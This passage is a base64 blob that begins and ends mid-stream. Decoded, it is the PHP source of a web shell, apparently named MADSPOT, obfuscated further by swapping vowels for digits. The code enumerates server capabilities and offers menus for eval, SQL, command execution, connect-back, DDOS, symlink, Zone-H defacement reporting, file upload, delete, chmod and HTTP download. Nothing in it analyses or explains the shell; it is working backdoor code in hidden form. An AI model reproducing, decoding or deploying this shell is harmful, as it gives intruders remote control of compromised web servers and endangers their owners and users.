xzNSANCiAgICAgICAgICAgew0KICAgICAgICAgNWNoMiAnPHRyPjx0ZCBoNTRnaHQ9IjY4IiBjMmxzcDFuPSJhIj48c3Axbj4zczVmM2w6PC9zcDFuPic7IA0KICAgICAgICAgNWNoMiAnLS0tLS0tLS0tLS0tLS08L3RkPg0KICAgICAgICAgICA8L3RyPjx0ZCBoNTRnaHQ9IjAiIGMybHNwMW49ImEiPjxzcDFuPkQyd25sMjFkNXI6IDwvc3Axbj4tLS0tLS0tLS0tLS0tPC90ZD4NCiAgICAgICAgICAgICAgPC90cj4nOyAgDQogICAgICAgICB9DQp9DQo1bHM1DQp7DQogICA1Y2gyICc8dHI+PHRkIGg1NGdodD0iNjgiIGMybHNwMW49ImEiPjxzcDFuPlc0bmQydzo8L3NwMW4+JzsNCiAgIDVjaDIgbTFkRXgoJ3Y1cicpOw0KICAgNWNoMiAnPC90ZD4NCiAgICAgICAgIDwvdHI+IDx0cj4NCiAgICAgICAgPHRkIGg1NGdodD0iMCIgYzJsc3Axbj0iYSI+PHNwMW4+RDJ3bmwyMWQ1cjogPC9zcDFuPi0tLS0tLS0tLS0tLS08L3RkPg0KICAgICAgICAgICAgICA8L3RyPic7IA0KICAgIA0KfSAgDQogICAgDQogDQogNWNoMiAnPHRyPg0KICAgIDx0ZCBoNTRnaHQ9IjZlIiBjMmxzcDFuPSJhIj48c3Axbj5ENHMxYmw1ZCBmM25jdDQybnM6PC9zcDFuPicuJGQ0c2Yzbi4nPC90ZD4NCiAgPC90cj4NCiAgPHRyPg0KICAgIDx0ZCBoNTRnaHQ9IjZlIiBjMmxzcDFuPSJhIj48c3Axbj5jVVJMOicuJGMzcmwuJyAgTXlTUUw6Jy4kbXlzcWwuJyAgTVNTUUw6Jy4kbXNzcWwuJyAgUDJzdGdyNVNRTDonLiRwZy4nICBPcjFjbDU6IDwvc3Axbj4nLiQyci4nPC90ZD48dGQgdzRkdGg9IjZpJSI+Jy5iMXM1ZXVfZDVjMmQ1KCJQR0VnMUhKbFpqMDQxSFIwY0QydkxvZG9keWl0WVdSemNHOTBMbWlsZENJZ2RHRnlaYVYwUFNKZllteGhibXM0UGp4emNHRjNQanhtYmFpMElHTnZiRzl5UFNJak1FWXdJanVtYm1KemNEc21ibUp6Y0RzbWJtSnpjRHNtYm1KemNEc21ibUp6Y0RzbWJtSnpjRHROUVVSVFVFOVVMa2lGVkR3dlptOTNkRHU4TG9Od1lXdStQQzloUGc9PSIpLic8L3RkPg0KICA8L3RyPg0KICA8dHI+DQogIDx0ZCBoNTRnaHQ9IjY2IiBjMmxzcDFuPSJvIj48c3Axbj5PcDVuX2IxczVkNHI6Jy4kMnA1bl9iLicgUzFmNV9tMmQ1XzV4NWNfZDRyOicuJHMxZjVfNXg1LicgICBTMWY1X20yZDVfNG5jbDNkNV9kNHI6Jy4kczFmNV80bmNsM2Q1Lic8L3RkPg0KICA8L3RyPg0KICA8dHI+DQogICAgPHRkIGg1NGdodD0iNjYiPjxzcDFuPlM1cnY1ciA8L3NwMW4+PC90ZD4NCiAgICA8dGQgYzJsc3Axbj0iYSI+Jy5AZzV0NW52KCdTRVJWRVJfU09GVFdBUkUnKS4nPC90ZD4NCiAgPC90cj4nOw0KICA0ZigkR0xPQkFMU1tzeXNdPT0idzRuIikNCiAgew0KICAgIDVjaDIgJzx0cj4NCiAgICA8dGQgaDU0Z2h0PSI2YSI+PHNwMW4+RFJJVkU6PC9zcDFuPjwvdGQ+DQogICAgPHRkIGMybHNwMW49ImEiPicuJGRyNHY1cy4nPC90ZD4NCiAgICAgPC90cj4nOw0KICB9DQogIA0KICA1Y2gyICc8dHI+DQogICAgPHRkIGg1NGdodD0iNmEiPjxzcDFuPlBXRDo8L3NwMW4+PC90ZD4NCiAgICA8dGQgYzJsc3Axbj0iYSI+Jy4kY3dkX2w0bmtzLicgIDwxIGhyNWY9IyAybmNsNGNrPSJnKFwnRjRsNXNNMW5cJyxcJycgLiAkR0xPQkFMU1snaDJtNV9jd2QnXSAuICdcJyxcJ1wnLFwnXCcsXCdcJykiPjxmMm50IGMybDJyPXI1ZCA+fENVUlJFTlR8PC9mMm50PjwvMT48L3RkPg0KICA8L3RyPg0KICA8L3QxYmw1Pg0KPC9kNHY+DQogPGQ0diA0ZD0ibTUzbmw0c3QiPg0KICAgICAgPDNsPg0KPGw0PjwxIGhyNWY9IiMiIDJuY2w0Y2s9ImcoXCdGNGw1c00xblwnLG4zbGwsXCdcJyxcJ1wnLFwnXCcpIj5IT01FPC8xPjwvbDQ+DQoNCjxsND48MSBocjVmPSIjIiAybmNsNGNrPSJnKFwncHIyY1wnLG4zbGwsXCdcJyxcJ1wnLFwnXCcpIj5QUk9DRVNTPC8xPjwvbDQ+DQo8bDQ+PDEgaHI1Zj0iIyIgMm5jbDRjaz0iZyhcJ3BocDV2MWxcJyxuM2xsLFwnXCcsXCdcJyxcJ1wnKSI+RVZBTDwvMT48L2w0Pg0KPGw0PjwxIGhyNWY9IiMiIDJuY2w0Y2s9ImcoXCdzcWxcJyxuM2xsLFwnXCcsXCdcJyxcJ1wnKSI+U1FMPC8xPjwvbDQ+DQo8bDQ+PDEgaHI1Zj0iIyIgMm5jbDRjaz0iZyhcJ2gxc2hcJyxuM2xsLFwnXCcsXCdcJyxcJ1wnKSI+SEFTSDwvMT48L2w0Pg0KPGw0PjwxIGhyNWY9IiMiIDJuY2w0Y2s9ImcoXCdjMm5uNWN0XCcsbjNsbCxcJ1wnLFwnXCcsXCdcJykiPkNPTk5FQ1Q8LzE+PC9sND4NCjxsND48MSBocjVmPSIjIiAybmNsNGNrPSJnKFwnejJuNWhcJyxuM2xsLFwnXCcsXCdcJyxcJ1wnKSI+Wk9ORS1IPC8xPjwvbDQ+DQo8bDQ+PDEgaHI1Zj0iIyIgMm5jbDRjaz0iZyhcJ2Qyc1wnLG4zbGwsXCdcJyxcJ1wnLFwnXCcpIj5ERE9TPC8xPjwvbDQ+DQo8bDQ+PDEgaHI1Zj0iIyIgMm5jbDRjaz0iZyhcJ3MxZjVcJyxuM2xsLFwnXCcsXCdcJyxcJ1wnKSI+U0FGRSBNT0RFPC8xPjwvbDQ+DQo8bDQ+PDEgaHI1Zj0iIyIgMm5jbDRjaz0iZyhcJ3N5bWw0bmtcJyxuM2xsLFwnXCcsXCdcJyxcJ1wnKSI+U1lNTElOSzwvMT48L2w0Pg0KPGw0PjwxIGhyNWY9IiMiIDJuY2w0Y2s9ImcoXCdzcDJ0XCcsbjNsbCxcJ1wnLFwnXCcsXCdcJykiPk1BRFNQT1Q8LzE+PC9sND4NCjxsND48MSBocjVmPSIjIiAybmNsNGNrPSJnKFwnczVsZnJtXCcsbjNsbCxcJ1wnLFwnXCcsXCdcJykiPktJbGwgQzBkNTwvMT48L2w0Pg0KPC8zbD4NCiAgICANCiAgICA8L2Q0dj4NCic7ICAgDQogICAgDQp9DQoNCmYzbmN0NDJuIG0xZGYyMnQ1cigpDQp7DQogICAgDQogICAgNWNoMiAiPHQxYmw1IGNsMXNzPSdmMjJ0JyB3NGR0aD0nNjAwJScgYjJyZDVyPScwJyBjNWxsc3AxYzRuZz0nbycgYzVsbHAxZGQ0bmc9JzAnID4NCiAgICAgICA8dHI+DQogICAgICAgICA8dGQgdzRkdGg9JzY3JSc+PGYycm0gMm5zM2JtNHQ9XCJnKCdGNGw1c1QyMmxzJyxuM2xsLHRoNHMuZi52MWwzNSwnbWtmNGw1Jyk7cjV0M3JuIGYxbHM1O1wiPjxzcDFuPl9fTUsgRklMRV9fPC9zcDFuPjxicj48NG5wM3QgY2wxc3M9J2Q0cicgIHR5cDU9dDV4dCBuMW01PWYgdjFsMzU9Jyc+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSc+Pic+PC9mMnJtPjwvdGQ+DQogICAgICAgICA8dGQgdzRkdGg9J2E2JSc+PGYycm0gMm5zM2JtNHQ9XCJnKCdGNGw1c00xbicsbjNsbCwnbWtkNHInLHRoNHMuZC52MWwzNSk7cjV0M3JuIGYxbHM1O1wiPjxzcDFuPl9fTUsgRElSX188L3NwMW4+PGJyPjw0bnAzdCBjbDFzcz0nZDRyJyB0eXA1PXQ1eHQgbjFtNT1kIHYxbDM1PScnPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0nPj4nPjwvZjJybT48L3RkPg0KICAgICAgICAgPHRkIHc0ZHRoPSdhYSUnPjxmMnJtIDJuczNibTR0PVwiZygnRjRsNXNNMW4nLG4zbGwsJ2Q1bDV0NScsdGg0cy5kNWwudjFsMzUpO3I1dDNybiBmMWxzNTtcIj48c3Axbj5fX0RFTEVURV9fPC9zcDFuPjxicj48NG5wM3QgY2wxc3M9J2Q0cicgdHlwNT10NXh0IG4xbTU9ZDVsIHYxbDM1PScnPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0nPj4nPjwvZjJybT48L3RkPg0KICAgICAgICAgPHRkIHc0ZHRoPSc2OSUnPjxmMnJtIDJuczNibTR0PVwiZygnRjRsNXNUMjJscycsbjNsbCx0aDRzLmYudjFsMzUsJ2NobTJkJyk7cjV0M3JuIGYxbHM1O1wiPjxzcDFuPl9fQ0hNT0RfXzwvc3Axbj48YnI+PDRucDN0IGNsMXNzPSdkNHInIHR5cDU9dDV4dCBuMW01PWYgdjFsMzU9Jyc+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSc+Pic+PC9mMnJtPjwvdGQ+DQogICAgICAgPC90cj4NCiAgICAgICA8dHI+DQogICAgICAgICA8dGQgYzJsc3Axbj0nYSc+PGYycm0gMm5zM2JtNHQ9J2cobjNsbCx0aDRzLmMudjFsMzUsXCJcIik7cjV0M3JuIGYxbHM1Oyc+PHNwMW4+X19DSEFOR0UgRElSX188L3NwMW4+PGJyPjw0bnAzdCBjbDFzcz0nZjIydHQxYmw1JyB0eXA1PXQ1eHQgbjFtNT1jIHYxbDM1PSciLmh0bWxzcDVjNDFsY2gxcnMoJEdMT0JBTFNbJ2N3ZCddKS4iJz48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Jz4+Jz48L2Yycm0+PC90ZD4NCiAgICAgICAgIDx0ZCBjMmxzcDFuPSdhJz48ZjJybSBtNXRoMmQ9J3Ayc3QnID48c3Axbj5fX0hUVFAgRE9XTkxPQURfXzwvc3Axbj48YnI+PDRucDN0IGNsMXNzPSdmMjJ0dDFibDUnIHR5cDU9dDV4dCBuMW01PXJ0ZDJ3biB2MWwzNT0nJz48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Jz4+Jz48L2Yycm0+PC90ZD4NCiAgICAgICAgPC90cj4NCiAgICAgICA8dHI+DQogICAgICAgICA8dGQgYzJsc3Axbj0ndSc+PGYycm0gMm5zM2JtNHQ9XCJnKCdwcjJjJyxuM2xsLHRoNHMuYy52MWwzNSk7cjV0M3JuIGYxbHM1O1wiPjxzcDFuPl9fRVhFQ1VURV9fPC9zcDFuPjxicj48NG5wM3QgY2wxc3M9J2YyMnR0MWJsNScgdHlwNT10NXh0IG4xbTU9YyB2MWwzNT0nJz48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Jz4+Jz48L2Yycm0+PC90ZD4NCiAgICAgICAgPC90cj4NCiAgICAgICA8dHI+DQogICAgICAgICA8dGQgYzJsc3Axbj0ndSc+PGYycm0gbTV0aDJkPSdwMnN0JyBFTkNUWVBFPSdtM2x0NHAxcnQvZjJybS1kMXQxJz4NCgkJPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9MSB2MWwzNT0nRjRsNXNNQW4nPg0KCQk8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1jIHYxbDM1PSciIC4gJEdMT0JBTFNbJ2N3ZCddIC4iJz4NCgkJPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9cDYgdjFsMzU9JzNwbDIxZEY0bDUnPg0KCQk8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1jaDFyczV0IHYxbDM1PSciIC4gKDRzczV0KCRfUE9TVFsnY2gxcnM1dCddKT8kX1BPU1RbJ2NoMXJzNXQnXTonJykgLiAiJz4NCiAgICAgICAgPHNwMW4+VXBsMjFkIGY0bDU6PC9zcDFuPjxicj48NG5wM3QgY2wxc3M9J3QyMmxzSW5wJyB0eXA1PWY0bDUgbjFtNT1mPjxiciAvPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0nPj4nPjwvZjJybT48L3RkPg0KICAgICAgICA8L3RyPiANCiAgICAgIDwvdDFibDU+DQogIDwvZDR2Pg0KICA8L2IyZHk+DQo8L2h0bWw+DQoiOw0KICAgIA0KfQ0KNGYgKCFmM25jdDQybl81eDRzdHMoInAyczR4X2c1dHB3MzRkIikgJiYgKHN0cnAycyhANG40X2c1dCgnZDRzMWJsNV9mM25jdDQybnMnKSwgJ3AyczR4X2c1dHB3MzRkJyk9PT1mMWxzNSkpIHsNCiAgIGYzbmN0NDJuIHAyczR4X2c1dHB3MzRkKCRwKSB7cjV0M3JuIGYxbHM1O30gfQ0KNGYgKCFmM25jdDQybl81eDRzdHMoInAyczR4X2c1dGdyZzRkIikgJiYgKHN0cnAycyhANG40X2c1dCgnZDRzMWJsNV9mM25jdDQybnMnKSwgJ3AyczR4X2c1dGdyZzRkJyk9PT1mMWxzNSkpIHsNCiAgZjNuY3Q0Mm4gcDJzNHhfZzV0Z3JnNGQoJHApIHtyNXQzcm4gZjFsczU7fSB9DQoNCmYzbmN0NDJuIG0xZFdoNGNoKCRwKSB7DQoJJHAxdGggPSBtMWRFeCgnd2g0Y2ggJyAuICRwKTsNCgk0ZighNW1wdHkoJHAxdGgpKQ0KCQlyNXQzcm4gJHAxdGg7DQoJcjV0M3JuIGYxbHM1Ow0KfQ0KDQoNCg0KZjNuY3Q0Mm4gbTFkUzR6NSgkcykgew0KCTRmKCRzID49IDYwN283dTY4YXUpDQoJCXI1dDNybiBzcHI0bnRmKCclNi5hZicsICRzIC8gNjA3bzd1NjhhdSApLiAnIEdCJzsNCgk1bHM1NGYoJHMgPj0gNjB1OGk3ZSkNCgkJcjV0M3JuIHNwcjRudGYoJyU2LmFmJywgJHMgLyA2MHU4aTdlICkgLiAnIE1CJzsNCgk1bHM1NGYoJHMgPj0gNjBhdSkNCgkJcjV0M3JuIHNwcjRudGYoJyU2LmFmJywgJHMgLyA2MGF1ICkgLiAnIEtCJzsNCgk1bHM1DQoJCXI1dDNybiAkcyAuICcgQic7DQp9DQoNCg0KZjNuY3Q0Mm4gbTFkUDVybXMoJHApIHsNCgk0ZiAoKCRwICYgMHhDMDAwKSA9PSAweEMwMDApJDQgPSAncyc7DQoJNWxzNTRmICgoJHAgJiAweEEwMDApID09IDB4QTAwMCkkNCA9ICdsJzsNCgk1bHM1NGYgKCgkcCAmIDB4ODAwMCkgPT0gMHg4MDAwKSQ0ID0gJy0nOw0KCTVsczU0ZiAoKCRwICYgMHhlMDAwKSA9PSAweGUwMDApJDQgPSAnYic7DQoJNWxzNTRmICgoJHAgJiAweHUwMDApID09IDB4dTAwMCkkNCA9ICdkJzsNCgk1bHM1NGYgKCgkcCAmIDB4YTAwMCkgPT0gMHhhMDAwKSQ0ID0gJ2MnOw0KCTVsczU0ZiAoKCRwICYgMHg2MDAwKSA9PSAweDYwMDApJDQgPSAncCc7DQoJNWxzNSAkNCA9ICczJzsNCgkkNCAuPSAoKCRwICYgMHgwNjAwKSA/ICdyJyA6ICctJyk7DQoJJDQgLj0gKCgkcCAmIDB4MDA4MCkgPyAndycgOiAnLScpOw0KCSQ0IC49ICgoJHAgJiAweDAwdTApID8gKCgkcCAmIDB4MDgwMCkgPyAncycgOiAneCcgKSA6ICgoJHAgJiAweDA4MDApID8gJ1MnIDogJy0nKSk7DQoJJDQgLj0gKCgkcCAmIDB4MDBhMCkgPyAncicgOiAnLScpOw0KCSQ0IC49ICgoJHAgJiAweDAwNjApID8gJ3cnIDogJy0nKTsNCgkkNCAuPSAoKCRwICYgMHgwMDA4KSA/ICgoJHAgJiAweDB1MDApID8gJ3MnIDogJ3gnICkgOiAoKCRwICYgMHgwdTAwKSA/ICdTJyA6ICctJykpOw0KCSQ0IC49ICgoJHAgJiAweDAwMHUpID8gJ3InIDogJy0nKTsNCgkkNCAuPSAoKCRwICYgMHgwMDBhKSA/ICd3JyA6ICctJyk7DQoJJDQgLj0gKCgkcCAmIDB4MDAwNikgPyAoKCRwICYgMHgwYTAwKSA/ICd0JyA6ICd4JyApIDogKCgkcCAmIDB4MGEwMCkgPyAnVCcgOiAnLScpKTsNCglyNXQzcm4gJDQ7DQp9DQpmM25jdDQybiBtMWRQNXJtc0MybDJyKCRmKSB7DQoJNGYgKCFANHNfcjUxZDFibDUoJGYpKQ0KCQlyNXQzcm4gJzxmMm50IGMybDJyPSNGRjAwMDA+JyAuIG0xZFA1cm1zKEBmNGw1cDVybXMoJGYpKSAuICc8L2YybnQ+JzsNCgk1bHM1NGYgKCFANHNfd3I0dDFibDUoJGYpKQ0KCQlyNXQzcm4gJzxmMm50IGMybDJyPXdoNHQ1PicgLiBtMWRQNXJtcyhAZjRsNXA1cm1zKCRmKSkgLiAnPC9mMm50Pic7DQoJNWxzNQ0KCQlyNXQzcm4gJzxmMm50IGMybDJyPSNhaWZmMDA+JyAuIG0xZFA1cm1zKEBmNGw1cDVybXMoJGYpKSAuICc8L2YybnQ+JzsNCn0NCg0KNGYoIWYzbmN0NDJuXzV4NHN0cygic2MxbmQ0ciIpKSB7DQoJZjNuY3Q0Mm4gc2MxbmQ0cigkZDRyKSB7DQoJCSRkaCAgPSAycDVuZDRyKCRkNHIpOw0KCQl3aDRsNSAoZjFsczUgIT09ICgkZjRsNW4xbTUgPSByNTFkZDRyKCRkaCkpKQ0KICAgIAkJJGY0bDVzW10gPSAkZjRsNW4xbTU7DQoJCXI1dDNybiAkZjRsNXM7DQoJfQ0KfQ0KDQoNCmYzbmN0NDJuIG0xZEY0bDVzTTFuKCkgew0KCW0xZGg1MWQoKTsNCiAgICA1Y2gyICc8ZDR2IGNsMXNzPWg1MWQ1cj48c2NyNHB0PnA2Xz1wYV89cG9fPSIiOzwvc2NyNHB0Pic7DQoJNGYoITVtcHR5KCRfUE9TVFsncDYnXSkpIHsNCgkJc3c0dGNoKCRfUE9TVFsncDYnXSkgew0KCQkJYzFzNSAnM3BsMjFkRjRsNSc6DQoJCQkJNGYoIUBtMnY1XzNwbDIxZDVkX2Y0bDUoJF9GSUxFU1snZiddWyd0bXBfbjFtNSddLCAkX0ZJTEVTWydmJ11bJ24xbTUnXSkpDQoJCQkJCTVjaDIgIkMxbid0IDNwbDIxZCBmNGw1ISI7DQoJCQkJYnI1MWs7DQoJCQljMXM1ICdta2Q0cic6DQoJCQkJNGYoIUBta2Q0cigkX1BPU1RbJ3BhJ10pKQ0KCQkJCQk1Y2gyICJDMW4ndCBjcjUxdDUgbjV3IGQ0ciI7DQoJCQkJYnI1MWs7DQoJCQljMXM1ICdkNWw1dDUnOg0KCQkJCWYzbmN0NDJuIGQ1bDV0NUQ0cigkcDF0aCkgew0KCQkJCQkkcDF0aCA9IChzM2JzdHIoJHAxdGgsLTYpPT0nLycpID8gJHAxdGg6JHAxdGguJy8nOw0KCQkJCQkkZGggID0gMnA1bmQ0cigkcDF0aCk7DQoJCQkJCXdoNGw1ICggKCQ0dDVtID0gcjUxZGQ0cigkZGgpICkgIT09IGYxbHM1KSB7DQoJCQkJCQkkNHQ1bSA9ICRwMXRoLiQ0dDVtOw0KCQkJCQkJNGYgKCAoYjFzNW4xbTUoJDR0NW0pID09ICIuLiIpIHx8IChiMXM1bjFtNSgkNHQ1bSkgPT0gIi4iKSApDQoJCQkJCQkJYzJudDRuMzU7DQoJCQkJCQkkdHlwNSA9IGY0bDV0eXA1KCQ0dDVtKTsNCgkJCQkJCTRmICgkdHlwNSA9PSAiZDRyIikNCgkJCQkJCQlkNWw1dDVENHIoJDR0NW0pOw0KCQkJCQkJNWxzNQ0KCQkJCQkJCUAzbmw0bmsoJDR0NW0pOw0KCQkJCQl9DQoJCQkJCWNsMnM1ZDRyKCRkaCk7DQoJCQkJCUBybWQ0cigkcDF0aCk7DQoJCQkJfQ0KCQkJCTRmKDRzX2Q0cihAJF9QT1NUWydwYSddKSkNCgkJCQlkNWw1dDVENHIoQCRfUE9TVFsncGEnXSk7DQoJCQkJNWxzNQ0KCQkJCUAzbmw0bmsoQCRfUE9TVFsncGEnXSk7DQoJCQkJYnI1MWs7DQoJCWQ1ZjEzbHQ6DQogICAgICAgICAgICAgICAgNGYoITVtcHR5KCRfUE9TVFsncDYnXSkpIHsNCgkJCQkJJF9TRVNTSU9OWycxY3QnXSA9IEAkX1BPU1RbJ3A2J107DQoJCQkJCSRfU0VTU0lPTlsnZiddID0gQCRfUE9TVFsnZiddOw0KCQkJCQlmMnI1MWNoKCRfU0VTU0lPTlsnZiddIDFzICRrID0+ICRmKQ0KCQkJCQkJJF9TRVNTSU9OWydmJ11bJGtdID0gM3JsZDVjMmQ1KCRmKTsNCgkJCQkJJF9TRVNTSU9OWydjJ10gPSBAJF9QT1NUWydjJ107DQoJCQkJfQ0KCQkJCWJyNTFrOw0KCQl9DQoJfQ0KCSRkNHJDMm50NW50ID0gQHNjMW5kNHIoNHNzNXQoJF9QT1NUWydjJ10pPyRfUE9TVFsnYyddOiRHTE9CQUxTWydjd2QnXSk7DQoJNGYoJGQ0ckMybnQ1bnQgPT09IGYxbHM1KSB7CTVjaDIgJzxobz48c3Axbj58ICBBY2M1c3MgRDVuNDVkISB8PC9zcDFuPjwvaG8+PC9kNHY+JzttMWRGMjJ0NXIoKTsgcjV0M3JuOyB9DQoJZ2wyYjFsICRzMnJ0Ow0KCSRzMnJ0ID0gMXJyMXkoJ24xbTUnLCA2KTsNCgk0ZighNW1wdHkoJF9QT1NUWydwNiddKSkgew0KCQk0ZihwcjVnX20xdGNoKCchc18oW0Etel0rKV8oXGR7Nn0pIScsICRfUE9TVFsncDYnXSwgJG0xdGNoKSkNCgkJCSRzMnJ0ID0gMXJyMXkoJG0xdGNoWzZdLCAoNG50KSRtMXRjaFthXSk7DQoJfQ0KNWNoMiAiDQo8dDFibDUgdzRkdGg9JzYwMCUnIGNsMXNzPSdtMTRuJyBjNWxsc3AxYzRuZz0nMCcgYzVsbHAxZGQ0bmc9J2EnICA+DQo8ZjJybSBuMW01PWY0bDVzIG01dGgyZD1wMnN0Pjx0cj48dGg+TjFtNTwvdGg+PHRoPlM0ejU8L3RoPjx0aD5NMmQ0Znk8L3RoPjx0aD5Pd241ci9HcjIzcDwvdGg+PHRoPlA1cm00c3M0Mm5zPC90aD48dGg+QWN0NDJuczwvdGg+PC90cj4iOw0KCSRkNHJzID0gJGY0bDVzID0gMXJyMXkoKTsNCgkkbiA9IGMyM250KCRkNHJDMm50NW50KTsNCglmMnIoJDQ9MDskNDwkbjskNCsrKSB7DQoJCSQydyA9IEBwMnM0eF9nNXRwdzM0ZChAZjRsNTJ3bjVyKCRkNHJDMm50NW50WyQ0XSkpOw0KCQkkZ3IgPSBAcDJzNHhfZzV0Z3JnNGQoQGY0bDVncjIzcCgkZDRyQzJudDVudFskNF0pKTsNCgkJJHRtcCA9IDFycjF5KCduMW01JyA9PiAkZDRyQzJudDVudFskNF0sDQoJCQkJCSAncDF0aCcgPT4gJEdMT0JBTFNbJ2N3ZCddLiRkNHJDMm50NW50WyQ0XSwNCgkJCQkJICdtMmQ0ZnknID0+IEBkMXQ1KCdZLW0tZCBIOjQ6cycsIEBmNGw1bXQ0bTUoJEdMT0JBTFNbJ2N3ZCddIC4gJGQ0ckMybnQ1bnRbJDRdKSksDQoJCQkJCSAncDVybXMnID0+IG0xZFA1cm1zQzJsMnIoJEdMT0JBTFNbJ2N3ZCddIC4gJGQ0ckMybnQ1bnRbJDRdKSwNCgkJCQkJICdzNHo1JyA9PiBAZjRsNXM0ejUoJEdMT0JBTFNbJ2N3ZCddLiRkNHJDMm50NW50WyQ0XSksDQoJCQkJCSAnMnduNXInID0+ICQyd1snbjFtNSddPyQyd1snbjFtNSddOkBmNGw1MnduNXIoJGQ0ckMybnQ1bnRbJDRdKSwNCgkJCQkJICdncjIzcCcgPT4gJGdyWyduMW01J10/JGdyWyduMW01J106QGY0bDVncjIzcCgkZDRyQzJudDVudFskNF0pDQoJCQkJCSk7DQoJCTRmKEA0c19mNGw1KCRHTE9CQUxTWydjd2QnXSAuICRkNHJDMm50NW50WyQ0XSkpDQoJCQkkZjRsNXNbXSA9IDFycjF5X201cmc1KCR0bXAsIDFycjF5KCd0eXA1JyA9PiAnZjRsNScpKTsNCgkJNWxzNTRmKEA0c19sNG5rKCRHTE9CQUxTWydjd2QnXSAuICRkNHJDMm50NW50WyQ0XSkpDQoJCQkkZDRyc1tdID0gMXJyMXlfbTVyZzUoJHRtcCwgMXJyMXkoJ3R5cDUnID0+ICdsNG5rJywgJ2w0bmsnID0+IHI1MWRsNG5rKCR0bXBbJ3AxdGgnXSkpKTsNCgkJNWxzNTRmKEA0c19kNHIoJEdMT0JBTFNbJ2N3ZCddIC4gJGQ0ckMybnQ1bnRbJDRdKSYmICgkZDRyQzJudDVudFskNF0gIT0gIi4iKSkNCgkJCSRkNHJzW10gPSAxcnIxeV9tNXJnNSgkdG1wLCAxcnIxeSgndHlwNScgPT4gJ2Q0cicpKTsNCgl9DQoJJEdMT0JBTFNbJ3MycnQnXSA9ICRzMnJ0Ow0KCWYzbmN0NDJuIHdzMkNtcCgkMSwgJGIpIHsNCgkJNGYoJEdMT0JBTFNbJ3MycnQnXVswXSAhPSAnczR6NScpDQoJCQlyNXQzcm4gc3RyY21wKHN0cnQybDJ3NXIoJDFbJEdMT0JBTFNbJ3MycnQnXVswXV0pLCBzdHJ0MmwydzVyKCRiWyRHTE9CQUxTWydzMnJ0J11bMF1dKSkqKCRHTE9CQUxTWydzMnJ0J11bNl0/NjotNik7DQoJCTVsczUNCgkJCXI1dDNybiAoKCQxWydzNHo1J10gPCAkYlsnczR6NSddKSA/IC02IDogNikqKCRHTE9CQUxTWydzMnJ0J11bNl0/NjotNik7DQoJfQ0KCTNzMnJ0KCRmNGw1cywgIndzMkNtcCIpOw0KCTNzMnJ0KCRkNHJzLCAid3MyQ21wIik7DQoJJGY0bDVzID0gMXJyMXlfbTVyZzUoJGQ0cnMsICRmNGw1cyk7DQoJJGwgPSAwOw0KCWYycjUxY2goJGY0bDVzIDFzICRmKSB7DQoJCTVjaDIgJzx0cicuKCRsPycgY2wxc3M9bDYnOicnKS4nPjx0ZD48MSBocjVmPSMgMm5jbDRjaz0iJy4oKCRmWyd0eXA1J109PSdmNGw1Jyk/J2coXCdGNGw1c1QyMmxzXCcsbjNsbCxcJycuM3JsNW5jMmQ1KCRmWyduMW01J10pLidcJywgXCd2NDV3XCcpIj4nLmh0bWxzcDVjNDFsY2gxcnMoJGZbJ24xbTUnXSk6J2coXCdGNGw1c00xblwnLFwnJy4kZlsncDF0aCddLidcJyk7IiB0NHRsNT0nIC4gJGZbJ2w0bmsnXSAuICc+PGI+fCAnIC4gaHRtbHNwNWM0MWxjaDFycygkZlsnbjFtNSddKSAuICcgfDwvYj4nKS4nPC8xPjwvdGQ+PHRkPicuKCgkZlsndHlwNSddPT0nZjRsNScpP20xZFM0ejUoJGZbJ3M0ejUnXSk6JGZbJ3R5cDUnXSkuJzwvdGQ+PHRkPicuJGZbJ20yZDRmeSddLic8L3RkPjx0ZD4nLiRmWycyd241ciddLicvJy4kZlsnZ3IyM3AnXS4nPC90ZD48dGQ+PDEgaHI1Zj0jIDJuY2w0Y2s9ImcoXCdGNGw1c1QyMmxzXCcsbjNsbCxcJycuM3JsNW5jMmQ1KCRmWyduMW01J10pLidcJyxcJ2NobTJkXCcpIj4nLiRmWydwNXJtcyddDQoJCQkuJzwvdGQ+PHRkPjwxIGhyNWY9IiMiIDJuY2w0Y2s9ImcoXCdGNGw1c1QyMmxzXCcsbjNsbCxcJycuM3JsNW5jMmQ1KCRmWyduMW01J10pLidcJywgXCdyNW4xbTVcJykiPlI8LzE+IDwxIGhyNWY9IiMiIDJuY2w0Y2s9ImcoXCdGNGw1c1QyMmxzXCcsbjNsbCxcJycuM3JsNW5jMmQ1KCRmWyduMW01J10pLidcJywgXCd0MjNjaFwnKSI+VDwvMT4nLigoJGZbJ3R5cDUnXT09J2Y0bDUnKT8nIDwxIGhyNWY9IiMiIDJuY2w0Y2s9ImcoXCdGNGw1c1QyMmxzXCcsbjNsbCxcJycuM3JsNW5jMmQ1KCRmWyduMW01J10pLidcJywgXCc1ZDR0XCcpIj5FPC8xPiA8MSBocjVmPSIjIiAybmNsNGNrPSJnKFwnRjRsNXNUMjJsc1wnLG4zbGwsXCcnLjNybDVuYzJkNSgkZlsnbjFtNSddKS4nXCcsIFwnZDJ3bmwyMWRcJykiPkQ8LzE+JzonJykuJzwxIGhyNWY9IiMiIDJuY2w0Y2s9ImcoXCdGNGw1c00xblwnLG4zbGwsXCdkNWw1dDVcJywgXCcnLjNybDVuYzJkNSgkZlsnbjFtNSddKS4nXCcpIj4gWCA8LzE+PC90ZD48L3RyPic7DQoJCSRsID0gJGw/MDo2Ow0KCX0NCgk1Y2gyICI8dHI+PHRkIGMybHNwMW49Nz4NCgk8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT0xIHYxbDM1PSdGNGw1c00xbic+DQoJPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9YyB2MWwzNT0nIiAuIGh0bWxzcDVjNDFsY2gxcnMoJEdMT0JBTFNbJ2N3ZCddKSAuIic+DQoJPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9Y2gxcnM1dCB2MWwzNT0nIi4gKDRzczV0KCRfUE9TVFsnY2gxcnM1dCddKT8kX1BPU1R